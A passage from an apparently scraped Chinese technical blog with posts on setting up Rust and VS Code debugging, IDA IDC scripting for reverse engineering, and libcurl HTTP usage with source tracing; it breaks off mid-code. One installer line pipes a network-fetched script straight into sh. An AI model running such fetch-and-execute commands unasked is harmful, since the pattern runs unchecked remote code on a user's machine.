APC 转载请注明出处,博客原文:http://anhkgg.github.io/win-apc-analyze1/","tags":[{"name":"windows","slug":"windows","permalink":"https://anhkgg.github.io/tags/windows/"},{"name":"APC","slug":"APC","permalink":"https://anhkgg.github.io/tags/APC/"}]},{"title":"Rust笔记(一)-- 环境配置","date":"2017-04-25T14:03:33.000Z","path":"rust-note-1-config-environment/","text":"安装rustRust中文站下载rusthttps://www.rust-lang.org/zh-CN/install.htmlhttps://www.rust-lang.org/zh-CN/downloads.html 安装: Windows平台下载https://static.rust-lang.org/dist/rust-1.13.0-x86_64-pc-windows-msvc.msi,然后双击运行即可,需要选上PATH环境变量配置 其实应该下载这个版本https://static.rust-lang.org/dist/rust-nightly-x86_64-pc-windows-gnu.msi,后面会说为什么 Linux平台1234//安装 $ curl -sf -L https://static.rust-lang.org/rustup.sh | sh//卸载 $ sudo /usr/local/lib/rustlib/uninstall.sh 下面命令成功表示安装成功 1234c:\\> rustc --versionrustc 1.13.0 (2c6933acc 2016-11-07)C:\\> cargo --versioncargo 0.13.0-nightly (eca9e15 2016-11-01) 配置IDE这里介绍的是微软的Visual Studio Code编辑器配置Rust的环境。 Visual Studio Code支持windows、linux、mac等,所以在不同平台配置rust都是一样的步骤。 下载地址: https://code.visualstudio.com/ 启动visual studio code,ctrl+shift+x切换到插件安装页面,输入rust。 选择安装Rusty Code插件,支持自动完成、跳转到定义、符号等等功能。安装完成后,重新加载即可启用。 新建一个rs文件,visual studio code自动识别为rust语言。右下角有个Rust tool missing,点击后会提示插件缺少的库,选择安装即可(需要保证rust环境安装成功) 会出现:12345678910111213141516171819Executing "cargo install racer" Updating registry `https://github.com/rust-lang/crates.io-index` ··· Finished release [optimized + debuginfo] target(s) in 335.15 secs Installing C:\\Users\\xxx\\.cargo\\bin\\racer.exewarning: be sure to add `C:\\Users\\xxx\\.cargo\\bin` to your PATH to be able to run the installed binariesExecuting "cargo install rustfmt" Updating registry `https://github.com/rust-lang/crates.io-index` ··· Finished release [optimized] target(s) in 270.41 secs Installing C:\\Users\\xxx\\.cargo\\bin\\cargo-fmt.exe Installing C:\\Users\\xxx\\.cargo\\bin\\rustfmt.exewarning: be sure to add `C:\\Users\\xxx\\.cargo\\bin` to your PATH to be able to run the installed binariesExecuting "cargo install rustsym" Updating registry `https://github.com/rust-lang/crates.io-index` ··· Finished release [optimized] target(s) in 203.64 secs Installing C:\\Users\\xxx\\.cargo\\bin\\rustsym.exewarning: be sure to add `C:\\Users\\xxx\\.cargo\\bin` to your PATH to be able to run the installed binaries 安装完成后即可。测试一下,ok。 编译直接rustc xxx.rs编译程序,会出现缺少linker.exe(选择gnu版是不会出现这个错误,应该是不依赖msvc编译环境)123error: could not exec the linker `link.exe`: 系统找不到指定的文件。 (os error 2) | = note: "link.exe" 因为在Windows平台,rust编译程序需要vs c++编译工具,可以安装vs2013或者更高版本工具,更简单的方式就是下载Microsoft Visual C++ Build Tools 2015 Windows considerations On Windows, Rust additionally requires the C++ build tools for Visual Studio 2013 or later. The easiest way to acquire the build tools is by installing Microsoft Visual C++ Build Tools 2015 which provides just the Visual C++ build tools. Alternately, you can install Visual Studio 2015 or Visual Studio 2013 and during install select the “C++ tools”. For further information about configuring Rust on Windows see the Windows-specific rustup documentation. 安装完之后,重新编译成功。(编译不需要重启,但是后面调试中需要重启,否则调试器异常)12Compiling hello_world v0.1.0 (file:///xxx/rust/hello_world) Finished debug [unoptimized + debuginfo] target(s) in 0.28 secs 生成目录1234567891011121314151617D:\\xxx\\hello_world>dir 驱动器 D 中的卷没有标签。 卷的序列号是 309A-078B D:\\xxx\\hello_world 的目录2016/12/19 11:21 <DIR> .2016/12/19 11:21 <DIR> ..2016/12/19 10:59 7 .gitignore2016/12/19 11:00 47 Cargo.lock2016/12/19 10:59 89 Cargo.toml2016/12/19 11:21 103,424 main.exe2016/12/19 11:21 487,424 main.pdb2016/12/19 10:59 <DIR> src2016/12/19 11:00 <DIR> target 5 个文件 590,991 字节 4 个目录 58,963,050,496 可用字节 在Visual Studio Code直接输入命令编译 ctrl+`,打开集成终端窗口 输入rust的编译命令即可 调试Rust目前支持使用LLDB和GDB调试,在Visual Studio Code可以安装lldb调试插件。 但是目前lldb不支持windows平台,只能在linux平台配置lldb,配置步骤如下: 依然ctrl+shift+x,然后输入rust,在列表中选择LLDB Debugger安装即可 安装之后,重新加载窗口,调试插件生效。打开之前的rs文件(vs code需要打开其目录作为工程目录),切换到调试窗口,点击调试开始按钮,会打开launch.json配置文件 123456789101112{ "version": "0.2.0", "configurations": [ { "name": "Debug", "type": "lldb", "request": "launch", "program": "${workspaceRoot}/xxx", //main "args": [] } ]} 将program中xxx配置为编译后的文件名就可以进行调试了。 在windows平台,需要使用gdb进行调试使用TDM-GCC的GDB(需要支持Python扩展,MinGW64的GDB貌似不支持) 下载TDM-GCC-gdb, 不需要安装,解压后,拷贝bin、gdb64、share目录到rust安装目录,修改gdb64\\bin目录中gdbinit内容,文件末尾加上 123456789pythonprint "---- Loading Rust pretty-printers ----" sys.path.insert(0, "你的rust安装目录/lib/rustlib/etc") import gdb_rust_pretty_printing gdb_rust_pretty_printing.register_printers(gdb) end 下载rust源码, https://github.com/rust-lang/rust,拷贝etc目录到x\\rust\\lib\\rustlib目录 测试gdb是否安装成功 12345C:\\>gdbGNU gdb (GDB) 7.9.1Copyright (C) 2015 Free Software Foundation, Inc....---- Loading Rust pretty-printers ---- 在Visual Studio Code中搜搜安装native debug插件(不止支持gdb),重新加载后,打开rs文件目录,切换到调试页面,点击调试按钮,弹出调试器列表,选择gdb,然后配置好launch.json文件(同lldb),保存即可开始调试 123456789101112{ "version": "0.2.0", "configurations": [ { "name": "Debug", "type": "gdb", "request": "launch", "target": "./target/debug/hello_world.exe", "cwd": "${workspaceRoot}" } ]} 问题 在调试中遇到问题12---- Loading Rust pretty-printers ----No symbol table is loaded. Use the "file" command. 经过一番周折发现是racer\\rustfmt\\rustsym没有安装成功,符号相关的是rustsym,安装完成之后,依然无法识别符号,各种翻找资料,无果。 最后在一篇英文博客中看到别人下载的rust版本是rust-nightly-x86_64-pc-windows-gnu.msi,突然想是不是跟版本有关,因为我下载的是msvc版,编译结果符号应该也是ms的,而调试其是gdb,是不是这样就识别不了了呢,而gnu版rust正好和gdb配套(猜测),所以应该会ok。 果不其然,重新下载了https://static.rust-lang.org/dist/rust-nightly-x86_64-pc-windows-gnu.msi,配置之后,可以正常识别符号了。 效果图: gnu版的rust在配置gdb时,不用下载rust源码添加etc目录的文件 Visual Studio Code左下角出现racer crashed,点击之后看到123Racer Output: RUST_SRC_PATH environment variable must be set to point to the src directory of a rust checkout. E.g. "/home/foouser/src/rust/src"Racer Error: 是因为安装racer步骤不完整,需要将rust源码中src拷贝到rust安装目录中,然后设置环境变量RUST_SRC_PATH = rust安装目录\\src验证racer是否成功:123456789c:\\>racer complete std::io::BMATCH BufReader,50,11,C:\\Program Files\\Rust stable MSVC 1.13\\src\\libstd\\io\\buffered.rs,Struct,pub struct BufReader<R>MATCH BufWriter,309,11,C:\\Program Files\\Rust stable MSVC 1.13\\src\\libstd\\io\\buffered.rs,Struct,pub struct BufWriter<W: Write>MATCH BufRead,1208,10,C:\\Program Files\\Rust stable MSVC 1.13\\src\\libstd\\io\\mod.rs,Trait,pub trait BufRead: ReadMATCH Bytes,1605,11,C:\\Program Files\\Rust stable MSVC 1.13\\src\\libstd\\io\\mod.rs,Struct,pub struct Bytes<R>MATCH BufReader,50,11,.\\libstd\\io\\buffered.rs,Struct,pub struct BufReader<R>MATCH BufWriter,309,11,.\\libstd\\io\\buffered.rs,Struct,pub struct BufWriter<W: Write>MATCH BufRead,1208,10,.\\libstd\\io\\mod.rs,Trait,pub trait BufRead: ReadMATCH Bytes,1605,11,.\\libstd\\io\\mod.rs,Struct,pub struct Bytes<R> 在用户设置中配置如下参数:(如果已经将rust\\bin和.cargo\\bin加入PATH,并且设置好了RUST_SRC_PATH的话,这一步可以省略){“rust.racerPath”: null, // Specifies path to Racer binary if it’s not in PATH“rust.rustLangSrcPath”: null, // Specifies path to /src directory of local copy of Rust sources“rust.rustfmtPath”: null, // Specifies path to Rustfmt binary if it’s not in PATH“rust.cargoPath”: null, // Specifies path to Cargo binary if it’s not in PATH“rust.cargoHomePath”: null, // Path to Cargo home directory, mostly needed for racer. Needed only if using custom rust installation.“rust.formatOnSave”: false, // Turn on/off autoformatting file on save (EXPERIMENTAL)“rust.checkOnSave”: false, // Turn on/off cargo check project on save (EXPERIMENTAL)“rust.checkWith”: “build” // Specifies the linter to use. (EXPERIMENTAL)} 参考 https://m.douban.com/group/topic/89086749/ https://www.douban.com/group/topic/63968269/ https://sherryummen.in/2016/09/02/debugging-rust-on-windows-using-visual-studio-code/ 转载请注明出处,博客原文:http://anhkgg.github.io/rust-note-1-config-environment/","tags":[{"name":"rust","slug":"rust","permalink":"https://anhkgg.github.io/tags/rust/"},{"name":"linux","slug":"linux","permalink":"https://anhkgg.github.io/tags/linux/"}]},{"title":"IDC脚本小试笔记","date":"2016-10-10T07:56:17.000Z","path":"idc-base-usage-test-note/","text":"概述IDC是IDA扩展的一种脚本语言,用于自动化,或者扩展查询IDA数据库 可以使用IDC或者python编写 语法类似C、也应用了C++类似的对象特性和异常处理 可以是单独的IDC文件,通过File->Script File加载,也可以是简单的IDC命令,通过File->Script Command来编写 变量包括字符串、整形、浮点型,后来又增加了对象、引用、函数指针等变量类型。 字符串是IDC的本地数据类型。 变量通过auto声明,在使用前都需要声明,没有知名明确的变量类型。 12auto addr, reg, val; /*xxxx*/auto count = 0; // xxx 注释使用//或者/**/,语句使用;作为结束 不支持C风格数组(使用分片)、指针(使用引用)、结构体和联合体之类的复杂数据结构,之后引入了类的概念。 extern引入全局变量声明,不能声明中初始化值,可以在任何函数内外声明。 1234567extern outglobal;static mian(){ extern inglobal; outglobal = "xx"; inglobal = 1;} 表达式支持几乎所有的C算术和逻辑运算符,除了几个特例外(??)。包括三元运算?:,不支持op=(+=,*=, >>=)等复合运算符。后来可以支持逗号运算, 所有整数操作都是有符号的值处理。所以在整数比较和右移运算(>>)收到影响。 如果需要逻辑右移位,必须自己修改结果的最高位。1result = (x >> 1)&0x7fffffff; 字符串操作、分片(语法类似python字符串操作)123456auto str = "string to slice";auto s1, s2, s3, s4;s1 = str[7:9];s2 = str[:6];s3 = str[10:];s4 = str[5]; IDC语句唯一不支持C中的switch语句12auto i;for(i = 0; i<10; i = i+1) {} 可以在花括号开始声明变量,但是变量没有具体作用域,可以在外面使用。但是函数中不能使用其他函数内部声明的变量。 1234if(1) { auto x; x = 10;}Message("x = %d\\n", x); IDC函数只有独立IDC文件才支持函数,IDC命令框不支持函数。 使用static引入一个函数定义。函数参数只有参数名列表,逗号分隔。1234static test(x, y, z) { auto a, b, c;} IDA5.6之前,函数参数严格使用传值传递,之后引入了传地址参数传递机制。采用哪种方式传递参数,使用调用者来决定的,而不是函数声明决定的。传地址方式在调用方参数前加入&。123auto q=1, r=0, s=2;test(q,r, s);test(q, &r, s);// 函数声明不会指明要返回一个值,以及返回什么类型的值。 如果需要返回值,使用return返回指定的值即可。 可以在不同的路径返回不同类型的值。任何不显示返回值的函数默认返回为0. IDA5.6之后,函数离成为IDC中第一类对象更近了一布,函数引用可以作为参数传给另一个函数,也可以将函数引用作为函数返回值。 12345678910static ret() { return Message;}staic call(fun, arg) { fun(arg);}static main() { auto f = ret(); call(f, "Message Call");} IDC对象1234567891011121314151617class People{ People(name, age) { this.name = name; this.age = age; } ~People() { } print() { Message("name: %s, age: %d", this.name, this.age); }}static main() { People p;//error auto p = People("john", 12); p.print();} 常用函数123456789101112131415161718192021222324252627282930313233343536//Array操作class MyArray{ MyArray(name) { this.name = name; this.id = CreateArray(name); if(this.id == -1) { this.id = GetArrayId(name); } } ~MyArray() { if(this.id != -1) { DeleteArray(this.id); } } SetArrayData(tag, idx, val) { if(tag == AR_LONG) { SetArrayLong(this.id, idx, val); } else if(tag == AR_STR) { SetArrayString(this.id, idx, val); }else { return 0; } return 1; } GetArrayData(tag, idx) { return GetArrayElement(tag, this.id, idx); } DelArrayData(tag, idx) { return DelArrayElement(tag, this.id, idx); }} 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173auto val;val = Byte(0x00EEEC1A);Message("val = %08x \\n", val);print("xxxxxxxxxxxxxxxxxxxxxxxxxx");//Warning("val = %08x\\n", val);//交互val = AskStr("124", "enter a val"); //AskFile, AskYNif(val == 0) { print("no enter val");}else { Message("val = %08x \\n", val);}Jump(0x400000);Message("cursor = %08x\\n", ScreenEA());//字符串操作//val= 0000302dval = sprintf("%08x", 12333);//formMessage("val = %s \\n", val);////val = 0000302d 12333Message("val = %08x %d\\n", xtol(val), xtol(val));//atol xtol Message("A = %d %02x\\n", ord("A"), ord("A")); //A = 65 41Message("val size = %d\\n", strlen(val));//strstr, substr, str[s:e]//文件操作class MyFile{ MyFile(name, mode) { this.h = fopen(name, mode); if(this.h == 0) { //error } } ~MyFile() { if(this.h != 0) { fclose(this.h); } } length() { return filelength(this.h); } _fgetc() { return fgetc(this.h); } _fputc(val) { return fputs(val, this.h); } //_fprintf(format, ...) { //return fprintf(this.h, format, ...); //} _writestr(str) { return writestr(this.h, str); } _readstr() { return readstr(this.h);//-1=end } _writelongb(val) { return writelong(this.h, val, 1);//大端 } _writelongs(val) { return writelong(this.h, val, 0);//小端 } _readlongb() { return readlong(this.h, 1); } _readlongs() { return readlong(this.h, 0); } _writeshortb(val) { return writeshort(this.h, val, 1); } _writeshorts(val) { return writeshort(this.h, val, 0); } _readshortb() { return readshort(this.h, 1); } _readshorts() { return readshort(this.h, 0); } _loadfile(pos, addr, length) { return loadfile(this.h, pos, addr, length); } _savefile(pos, addr, length) { return savefile(this.h, pos, addr, length); }}//fileauto fn = AskFile(1, "*.txt", "save file");//1=save, 0=openMessage("save file = %s\\n", fn);auto mf = MyFile(fn, 'w');//mf._writelongb(122222);//mf._writestr("test file write data");//writestr(mf.h, "test file write data");//mf._savefile(0, 0x400000, 50);Message("file data = %s", mf._readstr());//Message("file data = %s", mf._readlongb());//name, addressMessage("%08x, %s\\n", 0x400016, Name(0x400016));//Message("xxx = %s\\n", NameEx(0x0040BD14, 0x0040BD1C));MakeNameEx(0x0040BD1C, "testxxxx", 1);Message("xxx = %08x\\n", LocByName("testxxxx"));Message("xxx = %08x\\n", LocByNameEx(0x0040BD14, "testxxxx"));//functionMessage("end = %08x, start = %08x\\n", GetFunctionAttr(0x0040BD14, FUNCATTR_END), GetFunctionAttr(0x0040BD14, FUNCATTR_START));Message("f = %s\\n", GetFunctionName(0x0040BD1C));Message("f_next = %08x\\n", NextFunction(0x0040BD1C));Message("f_prev = %08x\\n", PrevFunction(0x0040BD1C));//代码xrefauto cur = Rfirst(0x0040BD1C);//跳到哪里去,第一个Message("to = %08x\\n", cur);Message("to = %08x\\n", Rnext(0x0040BD1C, cur));//跳到哪里去,下一个Message("to = %08x\\n", XrefType());//fl_CN, fl_CF, fl_JN, fl_JF, fl_Fcur = RfirstB(0x40B928);//什么地方跳来的,第一个Message("from = %08x\\n", cur );Message("from = %08x\\n", RnextB(0x40B928, cur));//什么地方跳来的,下一个//数据xrefcur = Dfirst(0x01410559);//改地址引用的第一个数据的地址Message("to d = %08x\\n", cur);Message("to d = %08x\\n", Dnext(0x01410559, cur));Message("to = %08x\\n", XrefType());//dr_O偏移量, dr_W数据写入, dr_R数据读取cur = DfirstB(0x01411EF0);//引用该数据的第一个地址Message("from d = %08x\\n", cur);Message("from d = %08x\\n", DnextB(0x01411EF0, cur));//引用该数据的下一个地址//databaseMakeUnkn(0x0043DC57, DOUNK_SIMPLE);//undefineMakeCode(0x0043DC57);//转为code//MakeUnkn(0x0043DC57, DOUNK_SIMPLE);//undefine//MakeUnkn(0x0043DC58, DOUNK_SIMPLE);////MakeWord(0x0043DC57);//转为数据 MakeWord, MakeDwordMakeComm(0x0043DC57, "just for test comment");////MakeFunction(s, e);////MakeStr(s, e);////search SEARCH_DOWN, SEARCH_NEXT, SEARCH_CASEMessage("code = %08x\\n", FindCode(0x400000, 1));//从这开始搜索一条指令Message("data = %08x\\n", FindData(0x400000, 1));//从这开始搜索一个数据//Message("find = %08x\\n", FindBinary(0x400000, 1, "FFAB3740"));//从这开始搜索hex数据auto row = 0;auto column = 0;//Message("find = %08x\\n", FindText(0x400000, 1, row, column, "http://"));//asmMessage("asm = %s\\n", GetDisasm(0x0043D7D8));//asm = push ebp ; xxxxxxxxxxxxxxxxMessage("asm = %s\\n", GetMnem(0x0043D7D8));//asm = pushMessage("asm = %s\\n", GetOpnd(0x0043D7D8, 0));//asm = ebpMessage("asm = %d\\n", GetOpType(0x0043D7D8, 0));//asm = 1Message("asm = %08x\\n", GetOperandValue(0x0043D7D8, 0));//asm = 00000005Message("asm = %s\\n", CommentEx(0x0043D7D8, 0));//asm = xxxxxxxxxxxxxxxx 总结总的来说,idc语法真的挺简单的,跟c基本一样,写起来不需要多大力气,就是需要熟悉idc提供的各类功能函数,应用起来才能得心应手。","tags":[{"name":"IDAPro","slug":"IDAPro","permalink":"https://anhkgg.github.io/tags/IDAPro/"},{"name":"IDC","slug":"IDC","permalink":"https://anhkgg.github.io/tags/IDC/"},{"name":"reverse","slug":"reverse","permalink":"https://anhkgg.github.io/tags/reverse/"}]},{"title":"libcurl小记-简单http封装使用-源码分析","date":"2016-08-25T12:32:06.000Z","path":"liburl-use-minihttp/","text":"0x00. 前面以前用Wininet api包了一个简单易用的http请求的lib,但是居然会遇到系统不支持的情况,难道要我自己用socket写吗?no way! 以前知道liburl,第一次使用,啥都不知道,反正感觉挺强大的 < libcurl is a free and easy-to-use client-side URL transfer library, supporting DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, Telnet and TFTP. 须知,我这里只用到了HTTP home: https://curl.haxx.se/ document: https://curl.haxx.se/libcurl/ 其实使用比较简单,但对我没有认真看过文档,并且没有找到好资料的情况下,我遇到了很多弯路,并且想吐槽实例代码,搞那么复杂干嘛,还没有我想要的代码。 下面开始坑。 0x01. 就这么简单1234567891011121314151617181920212223242526272829303132333435/* curl stuff */ #include <curl/curl.h>//#pragma comment(lib, "liburl.lib")int main(void){ CURL *curl; CURLcode res; /* In windows, this will init the winsock stuff */ curl_global_init(CURL_GLOBAL_ALL); /* get a curl handle */ curl = curl_easy_init(); if(curl) { /* First set the URL that is about to receive our POST. This URL can just as well be a https:// URL if that is what should receive the data. */ curl_easy_setopt(curl, CURLOPT_URL, "http://postit.example.com/moo.cgi"); /* Now specify the POST data */ curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=daniel&project=curl"); /* Perform the request, res will get the return code */ res = curl_easy_perform(curl); /* Check for errors */ if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\\n", curl_easy_strerror(res)); /* always cleanup */ curl_easy_cleanup(curl); } curl_global_cleanup(); return 0;} 简单应用就是这样子,关键在这两句123curl_easy_setopt(curl, CURLOPT_URL, "http://postit.example.com/moo.cgi"); /* Now specify the POST data */ curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=daniel&project=curl"); liburl通过设置各种回调函数来完成各种功能。 0x02. http请求CURLOPT_URL : 访问的目标url路径,如果是GET方式请求,需要将请求数据加到URL后面 1www.baidu.com/login.asp?name=111&password=111 CURLOPT_POSTFIELDS : POST请求中发送的数据 1curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=daniel&project=curl"); 并且POST请求中还需要设置CURLOPT_POST为1 123/* size of the POST data */curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, data.length());curl_easy_setopt(curl, CURLOPT_POST, 1); 另外,奇葩的1curl_easy_setopt(curl, CURLOPT_URL, url.c_str()); //url在release可正常使用,debug去不行,只能使用url.c_str(); 0x03. 接收数据接收数据需要注册CURLOPT_WRITEFUNCTION回调函数,在回调函数中进行数据处理 1curl_easy_setopt(*curl, CURLOPT_WRITEFUNCTION, write_callback); 如果数据不能一次接收完成,需要利用回调中的参数来缓存数据,也就是通过CURLOPT_WRITEDATA设置 1curl_easy_setopt(*curl, CURLOPT_WRITEDATA, data); 回调函数处理中,最后一次参数就是设置的用于缓存的变量,需要注意的是数据长度,不是size,而是size*nmemb。 并且如果返回值不等于size*nmemb,libcurl会认为处理失败 12345678910size_t write_callback(char *ptr, size_t size, size_t nmemb, void *userdata){ size_t all_size = size*nmemb; PWRITE_CALLBACK_DATA data = (PWRITE_CALLBACK_DATA)userdata; data->data.append(ptr); data->size += all_size; return all_size;} 0x04. cookie通过cookie文件保存,读取cookie 12curl_easy_setopt(*curl, CURLOPT_COOKIEJAR, "cookie.txt"); //把服务器发过来的cookie保存到cookie.txtcurl_easy_setopt(*curl, CURLOPT_COOKIEFILE, "cookie.txt"); //读取本地存储的cookie 直接设置cookie信息 1//curl_easy_setopt(curl, CURLOPT_COOKIE, m_cookies.c_str()); 0x05. 一点点分析下面是遇到坑时的一小点点源码翻阅,觉得有用的可以看看 1. curl_easy_setopt调用中123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051//curl_easy_setopt调用中CURLcode curl_easy_setopt(struct Curl_easy *data, CURLoption tag, ...)//lib/easy.c-->CURLcode Curl_setopt(struct Curl_easy *data, CURLoption option, va_list param)//lib/url.c{ //根据option类型,设置不同回调 //保存在data->set的不同字段中 case CURLOPT_URL: if(data->change.url_alloc) { /* the already set URL is allocated, free it first! */ Curl_safefree(data->change.url); data->change.url_alloc = FALSE; } result = setstropt(&data->set.str[STRING_SET_URL], va_arg(param, char *)); data->change.url = data->set.str[STRING_SET_URL]; break; case CURLOPT_PORT: data->set.use_port = va_arg(param, long); break; case CURLOPT_WRITEFUNCTION: data->set.fwrite_func = va_arg(param, curl_write_callback); if(!data->set.fwrite_func) { data->set.is_fwrite_set = 0; /* When set to NULL, reset to our internal default function */ data->set.fwrite_func = (curl_write_callback)fwrite; } else data->set.is_fwrite_set = 1; break; case CURLOPT_WRITEDATA: data->set.out = va_arg(param, void *); break; case CURLOPT_HTTPHEADER: data->set.headers = va_arg(param, struct curl_slist *); break; case CURLOPT_COOKIEJAR: { struct CookieInfo *newcookies; result = setstropt(&data->set.str[STRING_COOKIEJAR], va_arg(param, char *)); newcookies = Curl_cookie_init(data, NULL, data->cookies, data->set.cookiesession); if(!newcookies) result = CURLE_OUT_OF_MEMORY; data->cookies = newcookies; } break;} 2. 请求中123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189CURLcode curl_easy_perform(struct Curl_easy *data)//lib/easy.c->static CURLcode easy_perform(struct Curl_easy *data, bool events)//lib/easy.c->static CURLcode easy_transfer(struct Curl_multi *multi)//lib/easy.c->CURLMcode curl_multi_perform(struct Curl_multi *multi, int *running_handles)//\\lib\\multi.c{ data=multi->easyp;//就是Curl_easy *data while(data) { CURLMcode result; SIGPIPE_VARIABLE(pipe_st); sigpipe_ignore(data, &pipe_st); result = multi_runsingle(multi, now, data);//一次请求 sigpipe_restore(&pipe_st); if(result) returncode = result; data = data->next; /* operate on next handle */ }}->static CURLMcode multi_runsingle(struct Curl_multi *multi, struct timeval now, struct Curl_easy *data)//\\lib\\multi.c{ //这里面有个重要的字段data->mstate,表示当前curl的状态 //通过multistate(data, CURLM_STATE_PERFORM);=>static void mstate(struct Curl_easy *data, CURLMstate state)赋值 //CURLMcode curl_multi_add_handle(struct Curl_multi *multi, struct Curl_easy *data) => multistate(data, CURLM_STATE_INIT); //CURLMcode Curl_multi_add_perform(struct Curl_multi *multi, struct Curl_easy *data, struct connectdata *conn)=>multistate(data, CURLM_STATE_PERFORM); //等等 //... do{ //本函数中,循环各种状态判断,处理不同逻辑 switch(data->mstate) { //初始化 case CURLM_STATE_INIT: /* init this transfer. */ result=Curl_pretransfer(data);//各种信息初始化,ssl,cookie if(!result) { /* after init, go CONNECT */ multistate(data, CURLM_STATE_CONNECT);//状态更改 Curl_pgrsTime(data, TIMER_STARTOP); rc = CURLM_CALL_MULTI_PERFORM; } break; case CURLM_STATE_CONNECT: /* Connect. We want to get a connection identifier filled in. */ Curl_pgrsTime(data, TIMER_STARTSINGLE); result = Curl_connect(data, &data->easy_conn, &async, &protocol_connect); if(CURLE_NO_CONNECTION_AVAILABLE == result) { /* There was no connection available. We will go to the pending state and wait for an available connection. */ multistate(data, CURLM_STATE_CONNECT_PEND); /* add this handle to the list of connect-pending handles */ if(!Curl_llist_insert_next(multi->pending, multi->pending->tail, data)) result = CURLE_OUT_OF_MEMORY; else result = CURLE_OK; break; } if(!result) { /* Add this handle to the send or pend pipeline */ result = Curl_add_handle_to_pipeline(data, data->easy_conn); if(result) disconnect_conn = TRUE; else { if(async) /* We're now waiting for an asynchronous name lookup */ multistate(data, CURLM_STATE_WAITRESOLVE); else { /* after the connect has been sent off, go WAITCONNECT unless the protocol connect is already done and we can go directly to WAITDO or DO! */ rc = CURLM_CALL_MULTI_PERFORM; if(protocol_connect) multistate(data, Curl_pipeline_wanted(multi, CURLPIPE_HTTP1)? CURLM_STATE_WAITDO:CURLM_STATE_DO); else { #ifndef CURL_DISABLE_HTTP if(data->easy_conn->tunnel_state[FIRSTSOCKET] == TUNNEL_CONNECT) multistate(data, CURLM_STATE_WAITPROXYCONNECT); else #endif multistate(data, CURLM_STATE_WAITCONNECT); } } } } break; case CURLM_STATE_DO://开始发送 /* Perform the protocol's DO action */ result = multi_do(&data->easy_conn, &dophase_done); //-> //详细的http请求封装,可以看看这个Curl_http //CURLcode Curl_http(struct connectdata *conn, bool *done)//\\lib\\http.c case CURLM_STATE_DONE: /* post-transfer command */ res = multi_done(&data->easy_conn, result, FALSE); case CURLM_STATE_PERFORM: /* read/write data if it is ready to do so */ result = Curl_readwrite(data->easy_conn, data, &done);//接受数据中 //... }while((rc == CURLM_CALL_MULTI_PERFORM) || multi_ischanged(multi, FALSE)); data->result = result;}//所有状态/* NOTE: if you add a state here, add the name to the statename[] array as well!*/typedef enum { CURLM_STATE_INIT, /* 0 - start in this state */ CURLM_STATE_CONNECT_PEND, /* 1 - no connections, waiting for one */ CURLM_STATE_CONNECT, /* 2 - resolve/connect has been sent off */ CURLM_STATE_WAITRESOLVE, /* 3 - awaiting the resolve to finalize */ CURLM_STATE_WAITCONNECT, /* 4 - awaiting the TCP connect to finalize */ CURLM_STATE_WAITPROXYCONNECT, /* 5 - awaiting proxy CONNECT to finalize */ CURLM_STATE_SENDPROTOCONNECT, /* 6 - initiate protocol connect procedure */ CURLM_STATE_PROTOCONNECT, /* 7 - completing the protocol-specific connect phase */ CURLM_STATE_WAITDO, /* 8 - wait for our turn to send the request */ CURLM_STATE_DO, /* 9 - start send off the request (part 1) */ CURLM_STATE_DOING, /* 10 - sending off the request (part 1) */ CURLM_STATE_DO_MORE, /* 11 - send off the request (part 2) */ CURLM_STATE_DO_DONE, /* 12 - done sending off request */ CURLM_STATE_WAITPERFORM, /* 13 - wait for our turn to read the response */ CURLM_STATE_PERFORM, /* 14 - transfer data */ CURLM_STATE_TOOFAST, /* 15 - wait because limit-rate exceeded */ CURLM_STATE_DONE, /* 16 - post data transfer operation */ CURLM_STATE_COMPLETED, /* 17 - operation complete */ CURLM_STATE_MSGSENT, /* 18 - the operation complete message is sent */ CURLM_STATE_LAST /* 19 - not a true state, never use this */} CURLMstate;//单独看connectCURLcode Curl_connect(struct Curl_easy *data, struct connectdata **in_connect, bool *asyncp, bool *protocol_done){ static CURLcode create_conn(struct Curl_easy *data, struct connectdata **in_connect, bool *async) -> static CURLcode resolve_server(struct Curl_easy *data, struct connectdata *conn, bool *async) } result = Curl_async_resolved(data->easy_conn, &protocol_connect);->result = Curl_setup_conn(conn, protocol_done);->result = Curl_connecthost(conn, conn->dns_entry);->result = singleipconnect(conn, conn->tempaddr[0], &(conn->tempsock[0]));->static CURLcode singleipconnect(struct connectdata *conn, const Curl_addrinfo *ai, curl_socket_t *sockp)->CURLcode Curl_socket(struct connectdata *conn, const Curl_addrinfo *ai, struct Curl_sockaddr_ex *addr, curl_socket_t *sockfd) //Crul对socket等的封装//\\lib\\connect.cCURLcode Curl_socket(struct connectdata *conn, const Curl_addrinfo *ai, struct Curl_sockaddr_ex *addr, curl_socket_t *sockfd)CURLcode Curl_connecthost(struct connectdata *conn, /* context */ const struct Curl_dns_entry *remotehost) int Curl_closesocket(struct connectdata *conn, curl_socket_t sock)curl_socket_t Curl_getconnectinfo(struct Curl_easy *data, struct connectdata **connp) 3. 接受数据时1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162static CURLMcode multi_runsingle(struct Curl_multi *multi, struct timeval now, struct Curl_easy *data)//\\lib\\multi.c->CURLcode Curl_readwrite(struct connectdata *conn, struct Curl_easy *data, bool *done)//\\lib\\transfer.c{ /* We go ahead and do a read if we have a readable socket or if the stream was rewound (in which case we have data in a buffer) */ if((k->keepon & KEEP_RECV) && ((select_res & CURL_CSELECT_IN) || conn->bits.stream_was_rewound)) { result = readwrite_data(data, conn, k, &didwhat, done);// if(result || *done) return result; }}->static CURLcode readwrite_data(struct Curl_easy *data, struct connectdata *conn, struct SingleRequest *k, int *didwhat, bool *done)//\\lib\\transfer.c{ //接受头部 result = 